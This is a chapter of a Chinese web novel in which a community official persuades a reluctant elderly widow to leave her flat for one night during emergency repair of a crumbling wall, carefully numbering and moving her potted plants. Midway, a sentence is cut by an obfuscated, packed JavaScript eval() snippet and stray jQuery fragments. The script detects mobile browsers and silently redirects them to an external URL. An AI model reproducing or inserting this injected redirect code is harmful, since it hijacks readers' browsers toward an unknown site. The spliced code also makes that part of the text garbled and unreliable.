梧桐巷排险的第一步，就是进户。
而进户，意味着正式和住户硬碰硬。
这一天从早上六点就开始了。
王主任一早把人分成三组。街道、物业、派出所，还有几位在梧桐巷混了脸熟的老同志，各自带队进楼。
谢临舟这组，被分到了最难啃的那几户。
早上六点半的梧桐巷还没完全醒。天还是灰青色，巷子里只有卖早点的小摊冒着热气。
第一户开门开得还算痛快。
是一位七十多岁的老先生，一个人住。他早上起得早，见他们来就让了一步：“你们先量吧，我去烧水。”
谢临舟简单说明来意，老先生听完点了点头，没废话，任由他们在阳台上拉尺、拍照、记录。
最后老先生倒了茶送过来：“慢慢弄，我不急。”
谢临舟接过杯子：“多谢。”
“我年轻的时候也是修电的。”老先生笑呵呵，“我知道你们这行不容易。”
小林在旁边听得心里一暖。
他本来以为今天少不了挨骂，没想到第一户竟然这么顺。
然而他们离开第一户不到十分钟，就遇上了冯奶奶。
七栋一单元三楼的冯奶奶，是最先炸的那个。
冯奶奶家那块外墙，是这栋楼里最麻烦的一处。按排险要求，今晚之前必须清空阳台外沿，必要时人也得临时搬出去一晚。
阳台外沿那截旧铁皮架已经被锈蚀得发黑，几颗膨胀螺丝半露在墙皮外。
风一吹，架子轻轻晃了一下，带下来一点灰白色的碎屑。
小林仰头看了一眼，后背都紧了。
可冯奶奶死活不同意。
“我哪儿也不去！”她站在门口，拄着拐杖，声音不大，每个字却都咬得很死。
“你们张口闭口危险危险，危险了二十年，也没见真塌！”
王主任耐着性子：“冯姨，这次不一样，外墙空鼓已经——”
“哪回不说不一样？”老太太眼睛一红，“上回修下水，也说这回不一样。结果呢？我门口砖都撬了，三个月没人管！你们说得好听，到时候我一走，家里东西丢了算谁的？我那几盆花碰坏了算谁的？”
小林刚解释“我们可以登记”，就被她狠狠顶了回去。
“登记有用？纸上写写谁不会！你们年轻人换一拨又一拨，最后还不是我自己受着！”
门口围了不少邻居。
有人劝，有人看，有人摇头：“冯奶奶最难说，她老伴就是在这屋里走的，儿女又不在本地，你让她搬，这不是往人家心口上割肉吗。”
陈默低声问小林：“这怎么办？”
小林也麻了：“别问我，我以前就跑跑腿。”
陈默顿了一下：“那看我？我以前在网上骂他。”
周敬路过，扔下一句：“……你俩加起来，也不够凑个旁听席的。”
王主任太阳穴一阵一阵跳。
老太太一开口，她就知道难了。
“临时”“先搬”“后续”，这些词一出来，冯奶奶的耳朵就已经先关上了。
而就在所有人都僵着的时候，谢临舟忽然往前走了一步。
“冯奶奶。”他叫了一声。
老太太抬头瞪他：“你也别劝！”
“我不劝。”他说。
众人一静。
“您先告诉我，最怕什么。”
老太太一愣，像是没想到他会这么问，张口就道：“怕东西乱，怕人进我屋，怕我那些花架子给我扔了，怕我回头回来，屋里不是原样了。”
“还有呢？”
“还有……”她顿了顿，声音忽然低下去，“怕你们说一晚上，最后变成十天半个月。”
楼道里一时很安静。
谢临舟看着她，点了下头：“知道了。”
“知道有什么用？”
“有用。”他说，“因为您怕的不是搬，是回不来。”
老太太嘴唇一动，没说话。
楼道里静了几秒。
谢临舟转头对小林说：“拿纸。”
小林忙把记录板递过去。
谢临舟没写排险通知，也没写那种一看就让人心里发虚的承诺书。
他直接列了一张临时搬离清单。
时间：今晚七点前搬离，明早十点前完成临时排险。
陪同人员：街道、物业、派出所各一人，全程在场。
屋内贵重物品不动。花架、花盆统一编号、拍照。
临时住宿地点：社区招待室，可加床，可锁门。
次日回屋时间：最迟明早十点半。
他写得很慢，字也不算好看，但每一条都很干净，像把钉子一颗颗钉进去。
写完他把纸递过去。
“您拿着。”他说，“一条一条看。哪条不行，现在改。”
老太太接过那张纸，手都微微发抖。
她看得很慢。
看一条，停一下。
看完后，忽然抬头：“你说十点半回，就十点半回？”
“尽量更早。”
“要是没弄完呢？”
“那我把原因写给您。”谢临舟看着她，“不是口头说，是写。”
老太太嘴唇抿了抿，像在拼命压着什么情绪。
“那花呢？”
“我亲自搬。”他说。
“你会吗？”
“不会也得会。”他语气很淡，“不然您今晚还得接着骂我。”
楼道里有几声没憋住的笑。
连老太太自己都像被这句气得想翻白眼，半天才挤出一句：“……你这小子说话怎么这样。”
“没办法。”谢临舟说，“话不这样，您不理我。”
过了很久，冯奶奶终于往旁边让开了半步。
动作不大。
却足够让整层楼都松一口气。
王主任悄悄呼出一口气，低声对周敬说：“看见没，这小子最厉害的不是嘴毒。”
周敬挑眉：“那是什么？”
“他听得见后半句。”
“什么后半句？”
王主任没答。
她只是看了看楼道里那几盆等着搬的花。
当天晚上，谢临舟真的亲自去搬了冯奶奶的花。
一盆一盆编号、拍照、搬到临时安全区。
老太太坐在楼下小板凳上盯着他，嘴里还不忘念叨：“轻点！那盆月季我养了十三年！”
谢临舟站在梯子上，应了一声：“知道。”
“那盆绣球不能晒！”
“知道。”
“右边那盆土松，一歪就散！”
“知道。”
陈默蹲在旁边帮忙贴编号，贴到第十八盆时忍不住小声感叹：“谢老师，您现在这业务，真是越来越离谱了。”
谢临舟低头看了他一眼。
“少说话。”他说，“搬花呢，你挡着路了。”
陈默：“……”
熟悉的配方，熟悉的噎法。
但这一次，屋外几个闻声围过来看热闹的阿姨，都乐出了声。
“小谢，你这话怎么这么熟悉。”
“他那是标配。”王主任靠在门框边，“遇事不决，必有挡着他的东西。”
冯奶奶坐在树下，看着那一个个被认真搬下来的花盆，忍不住“哼”了一声。
“我跟你们说，他要是真把我那盆月季弄坏了——”
“放心。”谢临舟已经把那盆小心放到手推车里，“我记了第一个编号。”
老太太抬头：
“你还分了顺序？”
“按您最在意的程度排的。”他说。
“月季第一，绣球第二，右边那盆土松的第三。”
老太太愣了愣。
她在那个阳台上，养过太多花。
老伴在的时候，知道她最宝贝那盆月季。每年她生日，他都会顺手多买一瓶花肥回来。
后来人走了，花还在。
可再没有人替她记过，哪一盆最要紧。
很罕见地，她没再开口骂人。
她只是低头看着自己有点松的袖口，盯着那一排编好号的花盆，看了很久很久。
过了一会儿，她忽然轻声说：
“那盆月季，是我老伴最喜欢的。”
小林一愣。
他没想到她会主动提这个。
“他走之前，特地叮嘱我，说这盆别养死了。”冯奶奶眼神看向远处，“我一养就是十三年。”
“这十三年里，台风也刮过，冬天也冻过。我自己一年住两次院，可这盆花没怎么掉过叶。”
“——我就是怕哪天我不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509976|202955||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在了，它又娇贵，要是被人家乱扔了……”
她说到最后，声音有点抖。
谢临舟搬花的动作没停，只低声回了一句：
“不会乱扔。”
“您什么时候回来，它都在原地。”
冯奶奶没说话。
她坐在小板凳上，避开谢临舟的目光，掏出手绢抹了下鼻子。
陈默在一旁贴编号，手忽然顿了一下。
他低头把那张“1号月季(最爱)”的贴纸贴好，贴得比之前任何一张都认真。
晚上八点多，最后一盆花也编号归位。
冯奶奶在临时招待室的床边坐下，陈默帮她把日常吃的药放在床头柜显眼的位置，又替她把遥控器摆好。
冯奶奶看了他一眼：“……你原来是那个骂他最凶的？”
陈默当场石化：“……您也知道？”
“我孙女提过一嘴。”老太太平静地说，“我说你们这拨年轻人啊，怎么在网上吵得凶，线下反倒还能凑到一块。”
陈默：“……这是夸我还是骂我？”
“夸你。”老太太一字一顿，“你现在帮人摆遥控器，比你以前骂人有用多了。”
陈默：“……”
走出房门时他还是没缓过神，冲到谢临舟面前，无声地做了几个“救命”的口型。
谢临舟瞥了他一眼：“冯奶奶说什么了？”
“她夸我。”陈默悲壮道，“但我感觉她在拐着弯骂我。”
“说明她看得清楚。”
陈默：“……谢临舟，看破不说破，你的美德呢。”
“诚实也是美德。”
“说出来就是毒舌。”
“你又没被毒死。”
“……靠。”
陈默走出楼栋，对着巷子外的夜色，深深吸了一口气。
他站在路灯下，忽然觉得这大半年魔幻得不像话。
半年前，他还在小号上骂谢临舟。
半年后，他蹲在梧桐巷楼道里，认真给一盆月季贴“最爱”。
贴完，还拿手指压了两遍，生怕它翘边似的。
那天夜里，谢临舟加完班回家的时候，身上还带着点尘土味。
他把钥匙挂在玄关，顺手把手机掏出来看了眼。
小林发来一条信息，附了一张照片——
是冯奶奶那十八盆花，整整齐齐地被编号排在临时安全区的角落里，盆与盆之间留着刚刚好的空隙，防止互相磕碰。
旁边的小标签上写着：“1号月季(最爱)”。
小林附言：
我刚过去看了一眼，冯奶奶也偷偷来看过。她没说什么，就在外面站了一会儿，又回去了。谢老师，我觉得她今晚会睡得比较安稳。
谢临舟看着那张照片，沉默了几秒。
然后回了一个字：
嗯。
他把那张照片，留在了手机相册里。
没有命名。
也没有归类。
就这么放着。
第二天早上，冯奶奶回屋。
她一进门就冲阳台走。
她的十八盆花，已经被人按编号重新摆好了——顺序和原来一模一样。
她蹲下来检查，连那盆最难伺候的月季，叶子都还精神。
她又直起身，看了一眼阳台上的角落。
那是她老伴以前给她焊的，已经有年头了。
昨天排险的时候，铁皮架被临时拆了下来。这种生锈的旧东西，按理说顺手就扔了。
可它就好好地摆在阳台一角，连一颗锈螺丝都没丢。
冯奶奶蹲下去，伸手摸了摸那道焊缝。
她老伴当年焊得不算齐，一道斜的。
她摸了很久。
这些年，她见过太多上门办事的人。
她知道有些人会办事，有些人会说话。
但真正让她放心的——是那种连你心里想着不要扔的小东西，都没给你扔的人。
她没道谢。
她只是在自己心里悄悄给这群人划了一道线。
从这一天起，她家那扇门，对临江街道办是开的。
不用预约。
不用登记。
谁来敲，她都开。
她笑了一下。
然后她把那盆月季重新推到阳台最显眼的位置。